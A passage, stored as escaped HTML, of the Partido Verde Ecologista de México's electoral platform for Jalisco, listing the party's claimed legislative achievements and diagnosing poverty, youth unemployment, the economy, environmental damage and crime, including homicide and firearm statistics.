econ\u00f3mico, pol\u00edtico, social e individual en una sociedad m\u00e1s justa, que respeta la vida y la naturaleza.<\/p>\n<p>No obstante, proteger el medio ambiente es solo una parte, ya que las condiciones sociales y pol\u00edticas que enfrenta el pa\u00eds, ha propiciado que sea necesario tambi\u00e9n proteger\u00a0 la seguridad, la econom\u00eda, la educaci\u00f3n, y la salud de los mexicanos; porque proteger es la naturaleza del Partido Verde Ecologista de M\u00e9xico.<\/p>\n<p>Durante las anteriores legislaturas federales y locales, as\u00ed como con el trabajo en conjunto con las diferentes instancias de gobierno, logramos la implementaci\u00f3n y reformas de leyes; con lo cual hemos creado avances reales y significativos en la construcci\u00f3n de un Estado moderno, cercano a la gente y apegado a los principios rectores del Partido Verde, mediante las siguientes acciones nacionales concretas:<\/p>\n<ul>\n<li>En 2013 aprobamos la Ley Federal de Responsabilidad Ambiental, en la cual se establece un sistema de responsabilidad ambiental en el que se hace realidad el principio que el que contamine pague y repare el da\u00f1o.<\/li>\n<li>Modificamos la Ley General para Prevenir y Sancionar los Delitos en Materia de Secuestro, con lo cual se lograron duplicar las penas actuales, quedando como sanci\u00f3n m\u00e1xima 140 a\u00f1os de prisi\u00f3n, de esta manera los delincuentes no volver\u00e1n a obtener su libertad durante toda su vida.<\/li>\n<li>Logramos se modificara el art\u00edculo 6\u00b0 de la Ley General de Educaci\u00f3n, con el objetivo de que a ning\u00fan estudiante se le condicionen los servicios educativos por el pago de alguna cuota escolar.<\/li>\n<li>Reformamos la Ley General de Educaci\u00f3n, con el objetivo de que la educaci\u00f3n que imparta el Estado, contemple en sus contenidos la educaci\u00f3n ambiental y el Cambio Clim\u00e1tico.<\/li>\n<li>Comprometidos con la protecci\u00f3n y el trato digno a los animales, impulsamos una ley que proh\u00edbe el uso de cualquier tipo de animal, en espect\u00e1culos circenses. Algunas de las entidades que ya modificaron sus leyes para prohibir la presentaci\u00f3n de circos con animales son: Colima, Guerrero, Morelos, Quer\u00e9taro, Chihuahua, Chiapas, Puebla, Zacatecas, Coahuila, Veracruz y el Distrito Federal.<\/li>\n<li>Reformamos la Ley de Vida Silvestre con el objeto de prohibir el aprovechamiento extractivo de mam\u00edferos marinos y primates con fines comerciales.<\/li>\n<li>Logramos incluir en el art\u00edculo 4 constitucional, el derecho a un medio ambiente sano para todos los mexicanos.<\/li>\n<li>Logramos incluir el inter\u00e9s leg\u00edtimo en la Ley General del Equilibrio Ecol\u00f3gico y Protecci\u00f3n al Ambiente, con el que se faculta a las personas f\u00edsicas y morales a impugnar los actos administrativos de los programas de ordenamiento ecol\u00f3gico, las declaratorias de ANP\u2019s o los reglamentos y normas en la materia.<\/li>\n<li>Protegimos a los bosques de manglar restringiendo las actividades que se pueden desarrollar sobre estos ecosistemas, prohibiendo el aprovechamiento de cualquier tipo de manglar.<\/li>\n<li>Fortalecimos la figura de \u201cCertificaci\u00f3n voluntaria de predios destinados a la conservaci\u00f3n\u201d con el objetivo de ampliar las \u00e1reas naturales protegidas (ANP).<\/li>\n<li>Propusimos y aprobamos la Ley para el Aprovechamiento de Energ\u00edas Renovables y el Financiamiento de la Transici\u00f3n Energ\u00e9tica. Por primera vez nuestro pa\u00eds cuenta con un marco regulatorio que promueve el financiamiento para la producci\u00f3n de energ\u00edas alternativas.<\/li>\n<li>Impulsamos un Fondo Especial en el presupuesto p\u00fablico anual para la generaci\u00f3n de electricidad a trav\u00e9s de fuentes renovables de energ\u00eda como la solar, e\u00f3lica, mareomotriz, biocombustibles y minihidr\u00e1ulica.<\/li>\n<li>Garantizamos el derecho al agua al conseguir una reforma constitucional que especifica el derecho que toda persona tiene al agua para consumo personal y dom\u00e9stico adem\u00e1s de su saneamiento.<\/li>\n<li>Propusimos la iniciativa de Ley General de la Calidad del Aire y la Protecci\u00f3n a la Atm\u00f3sfera, que tiene el objetivo de homologar los criterios y pol\u00edticas p\u00fablicas para la prevenci\u00f3n.<\/li>\n<\/ul>\n<p>En nuestro Estado de Jalisco se lograron las siguientes acciones:<\/p>\n<ul>\n<li>En Jalisco, \u00e9sta legislatura se propuso el inhibir conductas que da\u00f1aran el medio ambiente, para ello se propuso el promulgar la Ley de Responsabilidad Ambiental del estado de Jalisco, as\u00ed como el aumentar las sanciones previstas en el C\u00f3digo Penal del Estado as\u00ed como en la Ley de Justicia Administrativa del estado de Jalisco.<\/li>\n<li>Se reform\u00f3 la Ley Org\u00e1nica del Poder Judicial del estado de Jalisco para implementar medidas que fomenten el desarrollo sustentable y el aprovechamiento de los recursos naturales.<\/li>\n<li>Se implement\u00f3 por primera vez en el presupuesto una partida presupuestal para el saneamiento del Lago de Chapala.<\/li>\n<li>Logramos reformar diversos art\u00edculos de la Ley del Agua para el Estado de Jalisco y sus Municipios que garantizan la protecci\u00f3n y el saneamiento del agua en el Estado.<\/li>\n<li>Generamos una reforma sustancial a la Ley del Procedimiento Administrativo del Estado de Jalisco y sus Municipios para regular el Silencio Administrativo con la finalidad de que \u00e9sta figura deje de poner en riesgo nuestras \u00e1reas naturales por intereses mobiliarios.<\/li>\n<li>Logramos el que las empresas ambientalmente responsables, tengan ben\u00e9ficos fiscales por acreditar su certificaci\u00f3n que emite el Programa de Cumplimiento Ambiental Voluntario.<\/li>\n<li>Incluimos en la Ley del Equilibrio Ecol\u00f3gico y la Protecci\u00f3n del Ambiente en el Estado de Jalisco, el fomento a la investigaci\u00f3n cient\u00edfica para la regulaci\u00f3n de actividades tecnol\u00f3gicas que pretendan modificar artificialmente el clima.<\/li>\n<li>Aprobamos en el 2017 la Ley de Protecci\u00f3n, Conservaci\u00f3n y Fomento de Arbolado y \u00c1reas Verdes Urbanas del estado de Jalisco y sus Municipios con la finalidad de establecer est\u00e1ndares generales para la protecci\u00f3n de \u00e1rboles plantados o nacidos en \u00e1reas urbanas del Estado de Jalisco.<\/li>\n<li>Modificamos la Ley de Desarrollo Forestal Sustentable y la Ley Org\u00e1nica del Poder Ejecutivo con la finalidad de impedir el que se hagan cambios de uso de suelo cuando se afecten \u00e1reas por incendios intencionales.<\/li>\n<li>Logramos generar incentivos fiscales para quienes implementen jardines verticales y techos verdes en sus viviendas.<\/li>\n<li>Con la aprobaci\u00f3n de nuestra propuesta de reforma a la Ley de Movilidad y Transporte del Estado de Jalisco, apoyamos a 1484 choferes de taxi para que se les otorgara su permiso.<\/li>\n<li>Logramos reformas a la Constituci\u00f3n local as\u00ed como a la Ley de Educaci\u00f3n del Estado de Jalisco, para que en Jalisco la Educaci\u00f3n sea incluyente, en donde se atienda de manera integral a las personas con alguna discapacidad.<\/li>\n<li>Propusimos el incrementar las becas hasta en un 10% as\u00ed como eliminar el cobro por conceptos de reinscripci\u00f3n.<\/li>\n<li>Nos sumamos en el combate a la corrupci\u00f3n del Estado, por ello propusimos diversas reformas que hoy fortalecen nuestro Sistema Estatal Anticorrupci\u00f3n.<\/li>\n<li>Tipificamos como delito, cuando aprovech\u00e1ndose de una relaci\u00f3n sentimental, se difundan fotos y videos de contenido er\u00f3tico.<\/li>\n<li>Se logr\u00f3 eliminar el impuesto en materia de negocios jur\u00eddicos e instrumentos notariales, incentivando a la ciudadan\u00eda a formalizar actos legales.<\/li>\n<li>Reformamos la Ley para Fomentar la Donaci\u00f3n Altruista de Alimentos del Estado de Jalisco, con la finalidad de fomentar la donaci\u00f3n de alimentos que no puedan solventar sus necesidades alimentarias.<\/li>\n<li>Fomentamos el que se les brinden trabajo a los j\u00f3venes reci\u00e9n egresados en empresas a cambio incentivos fiscales.<\/li>\n<\/ul>\n<p>Estaremos trabajando sin descanso para que se implementen soluciones, en todos los espacios pol\u00edticos a los que el voto de los mexicanos nos permitan acceder, para construir: un Jalisco seguro, un Jalisco prospero, un Jalisco en el que los jaliscienses tengan acceso a la salud, un Jalisco en el que las mujeres vivan sin miedo, un Jalisco sin hambre, un Jalisco que brinde oportunidades para todos. Con estos objetivos claros y nuestra confianza depositada en la naci\u00f3n y sus instituciones, todos nuestros partidarios, candidatos y simpatizantes, llevaremos a cada espacio del gobierno la siguiente plataforma electoral.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tII.\tDiagn\u00f3stico\t\t\t\t\t<\/p>\n<p>En el 2016, seg\u00fan el Informe sobre Desarrollo Humano (IDH) para Am\u00e9rica Latina y el Caribe, del Programa de las Naciones Unidas para el Desarrollo (PNUD), presentado en el Senado de la Rep\u00fablica, se inform\u00f3 que la principal amenaza para el progreso, es la reca\u00edda de millones de hogares en la pobreza, aunque la ralentizaci\u00f3n econ\u00f3mica no es la \u00fanica culpable de tal regresi\u00f3n. Asimismo, el Informe sostuvo recomendaciones para que M\u00e9xico, en particular, impida retrocesos y siga avanzando en lo social, econ\u00f3mico y ambiental, con pol\u00edticas p\u00fablicas de nueva generaci\u00f3n, en l\u00ednea con los Objetivos de Desarrollo Sostenible.<\/p>\n<p>Con la finalidad de no tener retrocesos y avanzar en lo social, econ\u00f3mico, ambiental y en seguridad, el Partido Verde Ecologista de M\u00e9xico propone en esta plataforma, fortalecer estos temas mediante una agenda de trabajo a corto y mediano plazo, para mejorar la calidad del entorno natural y urbano, garantizando mejores mecanismos de acceso a la justicia, a la salud, a un medio ambiente sano y a los derechos humanos.<\/p>\n<p>Para los jaliscienses un tema importante es el de la alimentaci\u00f3n, as\u00ed que en el 2011 con la reforma constitucional en el art\u00edculo cuarto sobre los derechos humanos, incorpor\u00f3 la garant\u00eda para todas las personas del derecho a la alimentaci\u00f3n nutritiva, suficiente y de calidad. Con este cambio, se establecieron los fines del desarrollo social para el abasto suficiente y oportuno a la poblaci\u00f3n de los alimentos b\u00e1sicos.<\/p>\n<p><strong><em>Alimentaci\u00f3n y pobreza<\/em><\/strong><\/p>\n<p>En 2008 la poblaci\u00f3n en M\u00e9xico presentaba condiciones de pobreza extrema de alimentaci\u00f3n se ubicaba en alrededor de 6.6 millones, es decir 5.9% de la poblaci\u00f3n total del pa\u00eds, mientras que en 2010 este n\u00famero ascendi\u00f3 a 7.8 millones (6.9% del total de la poblaci\u00f3n), para de ah\u00ed disminuir a 7.0 millones (6.0%) en 2012. Adem\u00e1s de la relevancia que la carencia de acceso a una alimentaci\u00f3n adecuada reviste por s\u00ed misma, entre la poblaci\u00f3n en pobreza extrema de alimentaci\u00f3n se presentan mayores porcentajes de personas que carecen de acceso a los derechos sociales que les corresponden por ley, en comparaci\u00f3n con las cifras correspondientes al \u00e1mbito nacional.<\/p>\n<p>De acuerdo con la FAO, existe seguridad alimentaria cuando todas las personas tengan en todo momento acceso f\u00edsico y econ\u00f3mico a suficientes alimentos inocuos y nutritivos para satisfacer sus necesidades alimenticias y sus preferencias en cuanto a alimentos a fin de llevar una vida activa y sana.<\/p>\n<p>A nivel te\u00f3rico, el an\u00e1lisis del derecho a la alimentaci\u00f3n ha tenido un desarrollo prol\u00edfico gracias a diversos estudios elaborados por la FAO; y a nivel pr\u00e1ctico, ha sido un compromiso asumido por la comunidad internacional a ra\u00edz de la Cumbre Mundial sobre la Alimentaci\u00f3n realizada en 1996, de la cual M\u00e9xico es parte y a trav\u00e9s de la cual asumi\u00f3 su compromiso de adecuar su pol\u00edtica a fin de combatir y erradicar los problemas de acceso a la alimentaci\u00f3n.<\/p>\n<p><strong><em>Juventud y empleo<\/em><\/strong><\/p>\n<p>Otro tema social es la poblaci\u00f3n de j\u00f3venes, el principal problema de la juventud es su incorporaci\u00f3n al desarrollo del estado y en el pa\u00eds en condiciones desfavorables, debido a dificultades para la inserci\u00f3n en el mercado laboral, la desvinculaci\u00f3n entre los j\u00f3venes y el entorno que los rodea, la deficiente formaci\u00f3n y desarrollo de habilidades que permitan el desarrollo personal y la escasa educaci\u00f3n sexual y reproductiva que conduce a una mayor incidencia de embarazos en adolescentes.<\/p>\n<p>Mientras que los efectos m\u00e1s importantes de esta situaci\u00f3n son la alta incidencia de pobreza entre la poblaci\u00f3n joven, desaprovechamiento del bono demogr\u00e1fico que actualmente goza el pa\u00eds y elevada victimizaci\u00f3n de los j\u00f3venes.<\/p>\n<p>Entre los principales factores que dificultan la inserci\u00f3n laboral de los j\u00f3venes destacan la carencia de programas de pr\u00e1ctica laboral, una escasa generaci\u00f3n de empleo, una desarticulaci\u00f3n entre la relaci\u00f3n educaci\u00f3n \u2013 trabajo (demanda y oferta desvinculadas), as\u00ed como una baja innovaci\u00f3n y emprendedurismo.<\/p>\n<p><strong><em>Econom\u00eda <\/em><\/strong><\/p>\n<p>Con respecto a lo econ\u00f3mico, en el tercer trimestre de 2017 la econom\u00eda mexicana registr\u00f3 una contracci\u00f3n, la cual reflej\u00f3 tanto una desaceleraci\u00f3n m\u00e1s acentuada de algunos componentes de la demanda agregada, como los efectos adversos aunque temporales, ocasionados por los sismos y por la importante reducci\u00f3n de la producci\u00f3n petrolera que tuvieron lugar en septiembre.<\/p>\n<p>A pesar de lo anterior, las previsiones de crecimiento econ\u00f3mico del Banco de M\u00e9xico no han cambiado para 2018 donde se pronostica que se ubique entre 2.0 y 3.0 por ciento, en tanto que para 2019 se prev\u00e9 una tasa de expansi\u00f3n de entre 2.2 y 3.2 por ciento.<\/p>\n<p>En este escenario, se anticipa que contin\u00fae la tendencia a la baja de la inflaci\u00f3n general anual y que esta trayectoria se acent\u00fae durante el pr\u00f3ximo a\u00f1o, conduciendo a la convergencia al objetivo de 3.0 por ciento hacia finales de 2018. Es hasta en 2019, cuando se espera que la inflaci\u00f3n fluct\u00fae alrededor de dicho objetivo.<\/p>\n<p>No obstante, es importante destacar que el balance de riesgos para el crecimiento se ha deteriorado, y se encuentra con mayores probabilidades de ir a la baja, principalmente debido a que la incertidumbre asociada a la renegociaci\u00f3n del TLCAN ha mantenido en niveles deprimidos la inversi\u00f3n y posiblemente es una de las causas de la desaceleraci\u00f3n del consumo.<\/p>\n<p>Por otra parte, el d\u00e9bil desempe\u00f1o en el empleo refleja la disminuci\u00f3n en la participaci\u00f3n laboral de los j\u00f3venes y trabajadores de m\u00e1s edad. Las proyecciones de la OCDE indican que el empleo y la participaci\u00f3n en M\u00e9xico seguir\u00e1n siendo d\u00e9biles hasta finales de 2018, un dato interesante es el que da a conocer la Encuesta Nacional de Ocupaci\u00f3n y Empleo, al segundo trimestre de 2017, donde se menciona que en el pa\u00eds existen poco m\u00e1s de 770 mil j\u00f3venes entre 20 y 29 a\u00f1os de edad sin empleo.<\/p>\n<p>De ah\u00ed la necesidad de construir un planteamiento hacendario y social, que tome en cuenta la necesidad de establecer una red de protecci\u00f3n social b\u00e1sica de alcance universal. Hoy en d\u00eda existen las condiciones dadas para establecer una red de salud universal, prueba de ello, es el Paquete Econ\u00f3mico para 2018 aprobado recientemente por el Congreso de la Uni\u00f3n que refuerza el compromiso del Gobierno Federal de continuar con la consolidaci\u00f3n fiscal. Destaca que las finanzas p\u00fablicas alcanzar\u00edan por segundo a\u00f1o consecutivo un super\u00e1vit primario en 2018 y la deuda p\u00fablica continuar\u00eda con una trayectoria a la baja.<\/p>\n<p>Dado que las condiciones en el mercado laboral se han venido estrechando, de modo que parecer\u00eda no haber holgura en dicho mercado, la situaci\u00f3n de los j\u00f3venes constituye un desaf\u00edo que puede ser muy delicado en el futuro y que debe ser atendido sin aplazamiento, ante esta situaci\u00f3n y el contexto econ\u00f3mico adverso que pasa la econom\u00eda mexicana, la facilitaci\u00f3n de recursos para j\u00f3venes para emprender sus propios proyectos de negocio y de vida es indispensable, junto con medidas que permitan incidir en un aumento de la productividad y de la competitividad del estado, as\u00ed como de un crecimiento econ\u00f3mico equilibrado, donde la creaci\u00f3n de las Zonas Econ\u00f3micas Especiales vienen a tener un papel fundamental, en el cual se le debe de otorgar a los inversionistas mayores incentivos econ\u00f3micos para contratar y capacitar a los trabajadores originarios de las zonas de influencia, y as\u00ed lograr un crecimiento econ\u00f3mico balanceado a nivel regional.<\/p>\n<p><strong><em>Medio ambiente<\/em><\/strong><\/p>\n<p>En M\u00e9xico y en especial Jalisco, el medio ambiente ha tenido grandes afectaciones, a consecuencia de las diversas actividades humanas que generan contaminaci\u00f3n, as\u00ed como del cambio clim\u00e1tico, lo cual ha puesto en riesgo los recursos naturales y la biodiversidad.<\/p>\n<p>El cambio clim\u00e1tico, es la variaci\u00f3n de temperatura en el planeta, debido a causas naturales y tambi\u00e9n por la acci\u00f3n del hombre. Uno de los impactos ambientales que ha generado el cambio clim\u00e1tico es el aumento de la temperatura, esto ha producidoel aumento del n\u00famero e intensidad de los ciclones tropicales, ya que existe evidencia que la intensidad de los huracanes ha sido influenciada directamente por el incremento de la temperatura de los oc\u00e9anos. En M\u00e9xico diferentes fen\u00f3menos meteorol\u00f3gicos de este tipo han sucedido, mientras que en 27 a\u00f1os, de 1970 a 1997 ocurrieron 12 huracanes con categor\u00edas H3, H4 y H5, en tan solo 13 a\u00f1os, del 2002 al 2015 hubo 10 ciclones con las mismas categor\u00edas.<\/p>\n<p>Otro efecto del cambio clim\u00e1tico, es el aumento en el nivel del mar, causado por el deshielo de los glaciares, esto es visible en las costas del Golfo de M\u00e9xico, como en Veracruz, donde el incremento anual fue de 1.9 mil\u00edmetros y el de Ciudad Madero, Tamaulipas llego a los 9.16 mil\u00edmetros. En el pac\u00edfico sobresalieron anualmente Guaymas, Sonora con 4.23 mil\u00edmetros y Manzanillo, Colima con incrementos de 3.28 mil\u00edmetros.<\/p>\n<p>Asimismo, el cambio de temperatura y las acciones realizadas por el humano ha repercutido en el suelo. Dentro de los principales factores que repercuten en el deterioro ambiental, es la generaci\u00f3n de residuos, la afectaci\u00f3n a la calidad del aire, agua y suelo, problemas que provocan severos problemas de salud y afectaciones en los ecosistemas naturales. Un claro ejemplo de ello en nuestro Estado es\u00a0 la contaminaci\u00f3n atmosf\u00e9rica que hoy en d\u00eda representa, por sus efectos en la salud humana, uno de los problemas ambientales m\u00e1s importantes de las ciudades tanto en los pa\u00edses desarrollados y en v\u00edas de hacerlo.<\/p>\n<p>Tan s\u00f3lo en nuestro Estado, el crecimiento acelerado de los centros de poblaci\u00f3n, de las actividades industriales, as\u00ed como del parque vehicular, han propiciado el aumento de la concentraci\u00f3n de contaminantes en la atm\u00f3sfera generando una destacada problem\u00e1tica ambiental para los habitantes de en Jalisco, tal es el caso del \u00c1rea Metropolitana de Guadalajara en donde los niveles de contaminantes nocivos del aire est\u00e1n excediendo en muchos casos los recomendados por la Organizaci\u00f3n Mundial de la Salud, afectando directamente el desarrollo econ\u00f3mico y social.<\/p>\n<p>As\u00ed, en la \u00c1rea Metropolitana de Guadalajara, por sus caracter\u00edsticas y poblaci\u00f3n, existen problemas relacionados con la emisi\u00f3n y generaci\u00f3n de aerosoles atmosf\u00e9ricos, as\u00ed como episodios de elevadas concentraciones de ozono troposf\u00e9rico, el cual es generado por emisiones primarias de \u00f3xidos de nitr\u00f3geno (NOX) y compuestos org\u00e1nicos vol\u00e1tiles (COVs).<\/p>\n<p>Adem\u00e1s, los efectos se manifiestan tambi\u00e9n a nivel regional como lo es la afectaci\u00f3n de los bosques y ecosistemas acu\u00e1ticos debido a la lluvia \u00e1cida o, incluso, a nivel mundial, en el proceso de calentamiento global y en la reducci\u00f3n del espesor de la capa de ozono estratosf\u00e9rico.<\/p>\n<p>Estas afectaciones han incitado el que se tomen medidas que abonen en el combate al Cambio clim\u00e1tico, como la implementaci\u00f3n de un nuevo Programa de verificaci\u00f3n vehicular en el Estado, la creaci\u00f3n de una Agencia de Energ\u00eda as\u00ed como la creaci\u00f3n del Plan Estatal de Desarrollo de Jalisco (PED 2013-2033)<a href=\"#_ftn1\" name=\"_ftnref1\">[1]<\/a>, cuyo fin es el de enfocar esfuerzos para mitigar los efectos del cambio clim\u00e1tico y la huella ecol\u00f3gica del desarrollo.<\/p>\n<p>No obstante a\u00fan con las medidas antes mencionadas,\u00a0 la problem\u00e1tica ambiental hoy en d\u00eda afecta severamente a esta mega diversidad as\u00ed como a los ecosistemas a causa de la producci\u00f3n de sustancias contaminantes producidas por las actividades del hombre, de ah\u00ed la necesidad de seguir abonando en \u00e9stos temas que repercutan positivamente en nuestro entorno, aprovechando responsablemente el potencial de los recursos renovables que tenemos en el Estado y desde luego maximizando la eficiencia energ\u00e9tica el\u00e9ctrica en todos los sectores productivos, que nos permita el desarrollo e implementaci\u00f3n de la pol\u00edtica p\u00fablica, estrategia, proyectos y programas estatales con una Estrategia Estatal en coordinaci\u00f3n con los municipios, en total apego a las competencias de los tres \u00f3rdenes de Gobierno.<\/p>\n<p>Un ejemplo de contaminante, es el bi\u00f3xido de carbono que se concentra en el aire, generado por las altas emisiones vehiculares provocadas en los congestionamientos que se generan en los horarios pico, entrada y salida de los trabajos y el traslado largo al trabajo origina estr\u00e9s en las personas y desgaste f\u00edsico por el tiempo que se pierde en intentar llegar al trabajo. Estos acontecimientos afectan principalmente la calidad del aire y la productividad en los centros de trabajo.<\/p>\n<p>Otra problem\u00e1tica es la gesti\u00f3n integral de los residuos, como es la acumulaci\u00f3n en los rellenos sanitarios sin cumplir con la aplicaci\u00f3n de la legislaci\u00f3n vigente o sin aprovechar los gases de efecto invernadero para generar energ\u00eda, afectando de forma directa las propiedades f\u00edsicas y qu\u00edmicas del suelo, tambi\u00e9n se contamina el aire y el manto fre\u00e1tico, ya que al dejar la basura al aire libre se genera mal olor y gases t\u00f3xicos que afectan al medio ambiente.<\/p>\n<p>Por otro lado, actualmente la generaci\u00f3n de energ\u00eda el\u00e9ctrica a partir de las fuentes tradicionales como carb\u00f3n, petr\u00f3leo y gas es muy costosa y contaminante, ya que tienen un impacto ecol\u00f3gico negativo. Ante esto, una de las ventajas de los avances tecnol\u00f3gicos es la generaci\u00f3n de energ\u00eda limpia, una opci\u00f3n sencilla es la colocaci\u00f3n de paneles solares para aprovechar la radiaci\u00f3n solar.<\/p>\n<p>Por otro lado, el consumo de agua es un tema que siempre est\u00e1 en la agenda p\u00fablica. M\u00e9xico es el quinto pa\u00eds en consumo de agua, con un promedio de 380 litros al d\u00eda, este promedio refleja la falta de conciencia en la poblaci\u00f3n, lo que ocasiona la sobreexplotaci\u00f3n del acu\u00edfero para satisfacer la demanda del vital l\u00edquido.<\/p>\n<p>Otro problema, es el maltrato animal, como es la captura de animales silvestres y la venta en malas condiciones de estas especies, como de los animales de compa\u00f1\u00eda que no reciben un trato digno cuando se ponen a la venta o a la exhibici\u00f3n.<\/p>\n<p>M\u00e9xico forma parte de un selecto grupo de naciones a los que se les considera Mega diverso, ya que concentran el 70% de la biodiversidad a nivel mundial y Jalisco cuenta con \u00a0el lago m\u00e1s grande de la Rep\u00fablica Mexicana, el tercero en tama\u00f1o en Am\u00e9rica Latina y el segundo en altura de Am\u00e9rica. La falta de inter\u00e9s de la poblaci\u00f3n en la preservaci\u00f3n del medio ambiente y de su potencial, es una consecuencia de falta de cultura para entender la importancia del cuidado del planeta Tierra. Sin olvidar la falta de la aplicaci\u00f3n de la normatividad por parte de la autoridad.<\/p>\n<p><strong><em>Seguridad<\/em><\/strong><\/p>\n<p>Finalmente, los retos que enfrenta M\u00e9xico en materia de seguridad estriban principalmente en erradicar la disparidad institucional existente entre los niveles federal y local. Instituciones como el Ej\u00e9rcito, la Marina y la Polic\u00eda Federal, se caracterizan por su profesionalismo notable, mientras que las instituciones de seguridad local adolecen de elementos tanto humanos como estructurales para cumplir su cometido.<\/p>\n<p>A manera de ejemplo, es preciso destacar que aunque en el Estado de Jalisco\u00a0 los 125 municipios cuentan con corporaciones de seguridad p\u00fablica propias, a partir de 2015 se desarmaron a 6 corporaciones municipales, con la finalidad de impulsar e implementar eficazmente el mando \u00fanico, lo anterior derivado de la aprobaci\u00f3n del Consejo Estatal de Seguridad P\u00fablica a principio del actual sexenio, para la inversi\u00f3n de 129 millones de pesos en programas encaminados a la prevenci\u00f3n social de violencia y delincuencia.<\/p>\n<p>Por otro lado, las condiciones laborales tampoco son las mejores para nuestros polic\u00edas. Desde hace cinco a\u00f1os se han buscado generar condiciones de uniformidad en los sueldos, mayores y mejores prestaciones para los elementos de seguridad,\u00a0 pues con la creaci\u00f3n de la fuerza \u00fanica, seg\u00fan datos del Gobierno del Estado se comenz\u00f3 a consolidar esta visi\u00f3n, al garantizar que los polic\u00edas en nuestra entidad fueran los mejores pagados del pa\u00eds con un sueldo de 22,400 pesos menos impuestos.<\/p>\n<p>Acerca de la incidencia delictiva la situaci\u00f3n en Jalisco es preocupante, pues se ha informado de manera oficial que diversos delitos van al alza. De manera particular debe destacarse que en nuestra entidad, durante el \u00faltimo a\u00f1o se registraron de manera oficial\u00a0 m\u00e1s de 108,388 denuncias por la comisi\u00f3n de diversos delitos,\u00a0 adem\u00e1s de un incremento alarmante en el n\u00famero de homicidios alcanzado la preocupante cifra de 1922\u00a0 durante el pasado 2017, lo que nos coloca como una de las entidades federativas m\u00e1s violentas del pa\u00eds.\u00a0<\/p>\n<p>Otro de los aspectos que forma parte de la problem\u00e1tica en materia de seguridad lo encontramos en los niveles de confianza y la percepci\u00f3n de la ciudadan\u00eda de las instituciones encargadas de procurarles seguridad y perseguir los delitos. Acerca de las cifras de personas que identifican a las instituciones de seguridad p\u00fablica seg\u00fan la percepci\u00f3n de corrupci\u00f3n, la Encuesta Nacional de Victimizaci\u00f3n y Percepci\u00f3n sobre Seguridad P\u00fablica 2017, muestra que en Jalisco el 60 % de la poblaci\u00f3n de 18 a\u00f1os y m\u00e1s, considera a la inseguridad como el problema m\u00e1s grave de la entidad federativa, y considerando como los m\u00e1s corruptos a los polic\u00edas de tr\u00e1nsito,\u00a0 jueces y a las polic\u00edas preventivas municipales con un 77% 76 y 62% respectivamente.<\/p>\n<p>En materia de evaluaci\u00f3n, encontramos que las pruebas de control de confianza son un requisito de ingreso y permanencia en las instituciones de seguridad, acerca de las cuales encontramos que la mayor\u00eda de los polic\u00edas fueron evaluados hace menos de un a\u00f1o en las siguientes pruebas: Psicol\u00f3gica (64%), entorno socioecon\u00f3mico (58%), poligr\u00e1fica (57%), toxicol\u00f3gica (74%) y m\u00e9dica (72%); De los 20 mil 536 elementos en nuestra entidad que han realizado el examen de control y confianza, 17 mil 277 lo aprobaron; es decir, 84.14%, pero tres mil 259 reprobaron (15.86%).<\/p>\n<p>Por \u00faltimo, acerca de la percepci\u00f3n de seguridad por parte de los polic\u00edas tenemos que 4 de cada 10 polic\u00edas consideran que la situaci\u00f3n a nivel estatal y nacional sigue igual y 1 de cada 10 considera que la situaci\u00f3n en el pa\u00eds ha empeorado (respecto a a\u00f1os anteriores), y 8 de cada 10 polic\u00edas entrevistados consideran que el n\u00famero de polic\u00edas en sus corporaciones es insuficiente.<\/p>\n<p>En tal virtud, es imperativa la revisi\u00f3n profunda de los esquemas de seguridad tanto a nivel federal, como a nivel local, a fin de unificar el andamiaje legal, administrativo y presupuestal en esa materia, para lograr polic\u00edas con capacidad de respuesta, capacitaci\u00f3n, infraestructura y equipamiento, y con ello revertir las alarmantes cifras de incidencia delictiva en nuestro pa\u00eds y en nuestro estado.<\/p>\n<p>Por otro lado, es necesario atender la problem\u00e1tica de la portaci\u00f3n de armas, la cual ha derivado en la generaci\u00f3n de un ambiente de violencia en distintas zonas del pa\u00eds y que va en crecimiento.<\/p>\n<p>De acuerdo con cifras del Secretariado Ejecutivo del Sistema Nacional de Seguridad P\u00fablica del Gobierno Federal, tan solo en el a\u00f1o 2016 y a octubre de 2017, se han cometido un total de 13,596 lesiones con arma de fuego, y un total de 26,746 homicidios con arma de fuego; de las cuales tan s\u00f3lo <strong>en el Estado de Jalisco, e<\/strong>ntre el 1 de enero de 2012 y el 20 de febrero de 2017, el Instituto Jalisciense de Ciencias Forenses (IJCF) practic\u00f3 seis mil 591 autopsias a personas que murieron por causas violentas, como heridas de arma de fuego, complementariamente la Encuesta Nacional de Victimizaci\u00f3n y Percepci\u00f3n sobre Seguridad P\u00fablica 2017, muestra que una tasa del 43.1% de la ciudadan\u00eda fue v\u00edctima de un delito que implic\u00f3 la portaci\u00f3n de armas, lo cual magnifica lo informado de manera oficial por el Sistema Nacional de Seguridad P\u00fablica, pues en esos conteos falta la cifra negra que a nivel general supera el 90%. Por lo tanto, es vital garantizar, por medio de controles efectivos que la portaci\u00f3n de armas en el pa\u00eds sea espec\u00edficamente para dar seguridad y permitir la leg\u00edtima defensa de los ciudadanos, pero con pol\u00edticas y sanciones precisas para evitar la comisi\u00f3n de delitos con ese tipo de artefactos que \u00fanicamente influyen a empeorar el clima de violencia en M\u00e9xico.<\/p>\n<p><strong>Cabe mencionar que Jalisco, ocupa el onceavo lugar de desarme voluntario seg\u00fan l<\/strong>os registros de la Secretar\u00eda de la Defensa Nacional (SEDENA). Entre 2008 y 2015, los jaliscienses regresaron voluntariamente tres mil 769 armas cortas y largas. Con la base de datos de la SEDENA se destaca que entre los 36 municipios de Jalisco que participaron en el programa, el que m\u00e1s armamento entreg\u00f3 fue Zapopan (858 unidades), San Crist\u00f3bal de la Barranca (678), Ameca (603), Guadalajara (414) y Sayula (409), entre otros, que intercambiaron sus armas por despensas, medicinas, materiales de construcci\u00f3n, herramientas, dinero en efectivo y art\u00edculos electrodom\u00e9sticos, por citar algunos.<\/p>\n<p><a href=\"#_ftnref1\" name=\"_ftn1\">[1]<\/a> V\u00e9ase: <a href=\"http:\/\/sepaf.jalisco.gob.mx\/sites\/sepaf.jalisco.gob.mx\/files\/ped-2013-2033_0.pdf\">http:\/\/sepaf.jalisco.gob.mx\/sites\/sepaf.jalisco.gob.mx\/files\/ped-2013-2033_0.pdf<\/a><\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIII.\tSeguridad\t\t\t\t\t<\/p>\n<p><strong>T\u00cdTULO: JUECES JUZGANDO Y NO ADMINISTRANDO <\/strong><\/p>\n<p><strong>VISI\u00d3N: <\/strong>Contar con tribunales de justicia eficientes y 